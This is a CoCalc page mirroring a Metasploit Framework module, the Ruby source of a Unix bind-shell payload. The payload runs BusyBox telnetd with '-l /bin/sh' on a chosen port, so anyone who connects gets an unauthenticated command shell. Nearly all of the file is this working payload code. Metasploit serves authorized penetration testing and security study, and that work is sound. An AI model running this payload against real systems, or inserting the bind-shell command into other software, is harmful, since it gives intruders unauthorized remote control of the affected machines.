Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 26
8
9
include Msf::Payload::Single
10
include Msf::Sessions::CommandShellOptions
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Unix Command Shell, Bind TCP (via BusyBox telnetd)',
17
'Description' => 'Listen for a connection and spawn a command shell via BusyBox telnetd',
18
'Author' => 'Matthew Kienow <matthew_kienow[AT]rapid7.com>',
19
'License' => MSF_LICENSE,
20
'Platform' => 'unix',
21
'Arch' => ARCH_CMD,
22
'Handler' => Msf::Handler::BindTcp,
23
'Session' => Msf::Sessions::CommandShell,
24
'PayloadType' => 'cmd',
25
'RequiredCmd' => 'telnetd',
26
'Payload' => {
27
'Offsets' => {},
28
'Payload' => ''
29
}
30
)
31
)
32
33
register_options(
34
[
35
OptString.new('LOGIN_CMD', [true, 'Command telnetd will execute on connect', '/bin/sh']),
36
]
37
)
38
39
register_advanced_options(
40
[
41
OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'pkill telnetd']),
42
OptString.new('TelnetdPath', [true, 'The path to the telnetd executable', 'telnetd'])
43
]
44
)
45
end
46
47
#
48
# Constructs the payload
49
#
50
def generate(_opts = {})
51
vprint_good(command_string)
52
return super + command_string
53
end
54
55
#
56
# Returns the command string to use for execution
57
#
58
def command_string
59
"#{datastore['TelnetdPath']} -l #{datastore['LOGIN_CMD']} -p #{datastore['LPORT']}"
60
end
61
end
62
63